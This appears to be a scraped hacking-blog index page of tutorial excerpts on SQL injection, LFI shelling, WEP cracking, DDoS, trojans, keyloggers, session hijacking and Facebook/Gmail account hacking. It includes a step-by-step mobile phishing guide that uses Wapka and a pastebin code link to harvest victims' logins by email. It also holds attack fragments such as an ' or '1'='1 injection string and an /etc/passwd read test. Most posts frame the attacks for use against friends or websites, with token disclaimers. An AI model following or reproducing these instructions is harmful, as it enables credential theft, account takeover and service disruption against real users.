MD5 Cracker - Download

MD5 Cracker is the tool used to crack MD5 Hash. Normally many sites and applications store sensitive informattion like passwords in the hexadecimal format i.e. MD5 hash...

Nmap Scanning Tutorial

Nmap ("Network Mapper") is a free and open source (license) utility for network exploration or security auditing. Nmap is a perfect scanning tool for hackers out there and boy..they use it extensively.Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime .I will be discussing about how to do simple scanning in Nmap.

Hack Websites Using Havij [SQL Injection Tutorial]

According to a survey the most common technique of hacking a website is SQL Injection. SQL Injection is a technique in which hacker insert SQL codes into web Forum to get Sensitive Information like (User Name , Passwords) to access the site and Deface it. The traditional SQL injection method is quite difficult, but now a days there are many tools available online through which any script kiddie can use SQL Injection to deface a webite, because of these tools websites have became more vulnerable to these types of attacks.

One of the popular tools is Havij, Havij is an advanced SQL injection tool which makes SQL Injection very easy for you, Along with SQL injection it has a built in admin page finder which makes it very effective.

How to Crack WEP Key With Backtrack 5 [wifi hacking]

As announced before we would be writing related to wifi attacks and security, This post is the second part of our series on wifi attacks and Security, In the first part we discussed about various terminologies related to wifi attacks and security and discussed couple of attacks. This post will also show you how one can easily crack WEP keys in no time.

Create A Gmail Phishing (Mobile)

See Demo- http://gemall.wapka.mobi

What is Phishing ?
Phishing is a way of deceiving your victim by making him login through one of your webpages which is a copy of the original one. By doing so the fake webpage will save his E-mail ID or username and password. This is used for criminal activities for stealing Credits Cards and So on.
Now we are going to make a fake login page of Gmail Mobile.
Lets start the tutorial...

Step 1:
Register a new Wapka Account First create a new wapka account from the link below.
Wapka.Mobi

Step 2: Go to Admin Mode.

Step 3: Edit Site >>mail form>>
**Remember: Enable CAPTCHA pictures: Must UnMark it ..**

Now press Submit & Remember Don't set it admin mode.
Step 4: Now Make a source of ur site. Don't no about source view?
Go to http://wap0fbd.tk/wapmaster/source_viewer & put your site link in the box and view the source.....
Now the main work of this tutorial is collecting like the value="117465354" code by source.
You have to search that value carefully....

Next step>> After collecting the
value="XXXXXXXX" code u Must hide the mailform in Admin Mode.
How to hide it on Admin Mode???
Ans: Go To Edit Site>user>Items visibility>Now click on X.

Now its Done.

Step 5:
Go Here http://pastebin.com/ckj1hh1L and copy the main Code Of Wapka Phishing Page..

Step 6:
At Last After Finishing All Work Now U Can Put This Code on your site at last.... For This Code Wapka Advertise will be remove from foot of your site......
Enjoy
Go EDIT SITE>WML/XHTML>PUT THIS


Remember: U have to keep this code below of all codes.

Remember to
replace value="XXXXXXX" to Yours.
**U have done it.**

Now the main Question that How can i get The Hacked User Name and Passaword?
Yes, U can get The hacked User name & Password at your Mail inbox which U have used in Wapka.mobi Registrating.
Thanks to all.
Note: This method only for Advanced WapMaster.

Courtesy: Hacker University

How To Hack A Website

Pop quiz: what does Microsoft, Twitter, Facebook, NBC, ZenDesk, and Drupal all have in common?
They’ve all been recently hacked.
Yes, hacking is a growing threat for every business both large and small.
Whether it’s stealing private data, taking control of your computer, or shutting down your website, hackers can seriously impact any business, at any time.
Hackers can attack in so many ways, but here’s the ten most popular ways they can threaten the security of your site, and your business:

10.  Injection Attacks

Injection Attacking occurs when there are flaws in your SQL Database, SQL libraries, or even the operating system itself. Employees open seemingly credible files with hidden commands, or “injections”, unknowingly.
In doing so, they’ve allowed hackers to gain unauthorized access to private data such as social security numbers, credit card number or other financial data.

Technical Injection Attack Example:

An Injection Attack could have this command line:
String query = “SELECT * FROM accounts WHERE custID=’” + request.getParameter(“id”) +”‘”;
The hacker modifies the ‘id’ parameter in their browser to send: ‘ or ’1′=’1. This changes the meaning of the query to return all the records from the accounts database to the hacker, instead of only the intended customers.

LFI exploitation via php://input [Shelling Sites]

Hey guys,
Today I'll be explaining how to shell a website using "php://input" method via LFI.

So let's get started.
Now let's have our target shall we. As an example, your target URL should look like this:

Code:

http://www.site.com/index.php?page=

You can have anything similar to that as long as you can be able to read files and obtain an "include" error.

First things first, give it a shot and see if you can read "/etc/passwd"

Complete list of Linux Commands

An A-Z Index of the Bash command line for Linux:

a

  alias    Create an alias •

  apropos  Search Help manual pages (man -k)

  apt-get  Search for and install software packages (Debian/Ubuntu)

  aptitude Search for and install software packages (Debian/Ubuntu)

  aspell   Spell Checker

  awk      Find and Replace text, database sort/validate/index

Hacking Websites with LOIC, A DDoS attack tool

LOIC performs a denial-of-service (DoS) attack (or when used by multiple individuals, a DDoS attack) on a target site by flooding the server with TCP udp or UDP packets with the intention of disrupting the service of a particular host. People have used LOIC to join voluntary botnets.

DDoS Attack - Learn how to hack a website(without Software)

Today I will discuss an Advanced Attack to Deface a site. This Attack is used to stop functioning of a site so that no one can access it.

NOTE: Remember friends this is purely for educational purposes, please please please don't use this for illegal activities... Don't use it to harm any Server or site. 

DDoS Attack:

Hack A Facebook Account With Man In The Middle Attack

Friends, now a days, Social networking is ruling the world and the queen of social networking is obviously Facebook. It has currently over 900 million users and day by day they are increasing. As the popularity increasing, do the frauds are also... Every day a lot of people are searching for the methods of Facebook hacking and "How to hack Facebook" is one of the trending search terms of Google these days. And so

Today, i am back to you again with a new kind of attack to hack Facebook passwords.

This attack is called as Man in the middle attack. And here it goes..

New Method & Design Of Facebook Phishing

DEMO: http://fb-secure.wapka.mobi

Step 1:  

Register a new Wapka Account First create a new wapka account from the link below.
Wapka.Mobi

Step 2: Go to Admin Mode.

Step 3: Edit Site >>mail form>> 

**Remember: Enable CAPTCHA pictures: Must UnMark it ..**

Basic SQL injection with Login Queries

Bypassing Login pages on websites using SQL injectable queries

Level: Beginners and Intermediate
Requirements: Patience and stradegy
Alright in this tutorial, we'll be learning how to bypass login pages with the help of MySequel injection using Login Queries.

---

What is SQL injection?
Answer: Basically, it's a process where you execute a certain query in a website in order to extract information such as log-in information, users etc. for either personal gain or random use from the website's database.
There are many type of certain queries that can be executed in order to illegally extract information from the website's database.

Spy Others Computers With Trojan Virus

Today you will learn in this post to make pro rat trojan. Using which you will be able to hack the whole victim computer including all the Facebook, twitter and other email id's saved passwords. Seems interesting so lets start!

What Is Pro Rat Trojan ?

In short,Pro rat trojan is the type of trojan which uses it's spying ability to spy in your victims computer and let you control it.

Making Of Pro Rat Trojan:

Generally there are lot of ways to make pro rat trojan but I shall teach you the easiest way to make it . Things you need for it are given:

ProRat

Log onto no-ip.com and get registration there with an account .(I leave this easy part on you, As you might have experience of signing up)

Hack Social & Email Accounts With Side-Jacking

Today in this article I am going to explain how to steal such cookies of different accounts using Cain – Abel and Wireshark software and how to use it to access our victim accounts.

First off I need to say that this will NOT steal anyones password unless they log in while you are monitoring them. This will however give you their cookies which you can use to steal there session and have full acess to their account. This will work for Facebook, a lot of emails (sorry no gmail), and just about any forum (except this one). If you are familiar with SSL strip you can use this method to hijack any session (paypal, bank websites, any email, etc.)

Facebook Cookie Stealing And Session Hijacking

Wireshark Software to capture cookies:

Wireshark is the best free packet sniffer software available today. Actually, it was developed for making a network secure. But, the same software is now used by hackers to test for vulnerability and security loopholes in the network and to attack the network accordingly. Cookie stealing being one of the types of hacks implemented using this Wireshark software.

Requirements:

Cain and Abel : http://www.oxid.it/cain.html
Wireshark : http://www.wireshark.org/
Firefox 3 (or one compatable with add n edit) : http://www.oldapps.com/firefox.php?old_firefox=59
Add n Edit (cookie editor for firefox) : https://addons.mozilla.org/en-US/firefox/addon/add-n-edit-cookies/
Acess to the network with user you want to hack
Network traffic

Prerequisites: Download and install all above programs. To add “Add n Edit” to your browser just open firefox, go to tools, then click add-ons. you can drag and drop the program from wherever you saved it into the little box that popped up and install it from there.

Below, I have listed steps on how to capture Facebook and other accounts cookies. This will help you to know how Wireshark and Cain-Abel can be used to sniff packets and capture cookies.

Hack Social Accounts Using Keyloggger

What Is Keyloggers?

Using key logger utility you will be able to establish full control over your computer. You will also find out, what was going on your computer in your absence: what was run and typed etc. which act as best children internet protection software. Using the keylogging program constantly, you can restore the previously typed text in case you have lost it. Keystroke logger software works in the hidden mode and invisible on Windows operating system including Windows 7/VISTA/XP/Server 2008/NT/98 etc. It can send U what ur Victim Typed via Emails, FTP, PHP site, etc. 

Hack A Facebook Account With Phishing

Facebook has evolved into one of the hottest social networking website in the world. Here is a simple tutorial that you can use to hack your friend’s facebook password. Here i’m writting on hacking Facebbok password using Facebook Phisher.
In the field of computer security, phishing is the criminally fraudulent process of attempting to acquire sensitive information such as usernames, passwords and credit card details by masquerading as a trustworthy entity in an electronic communication. Communications purporting to be from popular social web sites, auction sites, online payment processors or IT administrators are commonly used to lure the unsuspecting public.

Please Note: Phishing is legally offensive. I am not responsible for any action done by you.

Top 10 Ways To Hack A Facebook Account

Here I Am Discussing About The Top 10 Ways Of Hacking A Facebook Account

1. Phishing

Phishing is still the most popular attack vector used for hacking Facebook accounts. There are variety methods to carry out phishing attack. In a simple phishing attacks a hacker creates a fake login page which exactly looks like the real Facebook page and then asks the victim to log in. Once the victim login through the fake page the, the victims "Email Address" and "Password" is stored in to a text file, and the hacker then downloads the text file and gets his hands on the victims credentials.

Learn Hacking (Where To Start)

A lot of people ask “How do i learn hacking?”, “Where do i start?”, “How do i become a hacker”… and so on. I answered the question a million times. Now we all can just give them this link to my blog.This is my opinion about everything. Others might think about it in a different way. Eat it or just throw it away.
What is hacking?
Hacking is a hobby. There are many ways of hacking. Some break security systems, some reverse code and some write homebrew things. In my opinion everything has todo with hacking. If you want to become a “hacker”. You have to get some knowledge in computer science and love to play around with it. That’s basicly everything a hacker needs ;).

Hack A Website With Sql Injection(SUPER DETAILED)

Hacking_Peeps SQLi Tutorials
Difficulty: Basic Level 2 and Intermediate
Requirements: Patience,intuition and understanding
Estimated time to read the chapter: 25-30 min (reading thoroughly will help you understand better)
The method used to extract information from a database in a website using SQL injection queries on the URL/Address bar is what we're gonna learn today.

• There are many types of SQL injection when it comes to web hacking
• However, what will you do if can't bypass it even though it's vulnerable to SQL injection?
• Well, the answer is simple. You do the process on your URL/Address bar instead of the text boxes on an admin/user login page